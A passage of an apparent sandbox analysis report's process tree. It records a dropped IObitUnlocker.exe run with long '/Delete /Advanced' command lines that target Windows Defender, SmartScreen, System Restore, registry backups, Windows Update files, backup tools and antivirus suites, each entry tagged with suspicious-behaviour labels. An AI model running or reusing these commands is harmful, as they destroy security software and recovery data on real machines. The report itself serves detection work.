t\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:2452
                                                            • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                              C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:5604
                                                            • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                              C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure 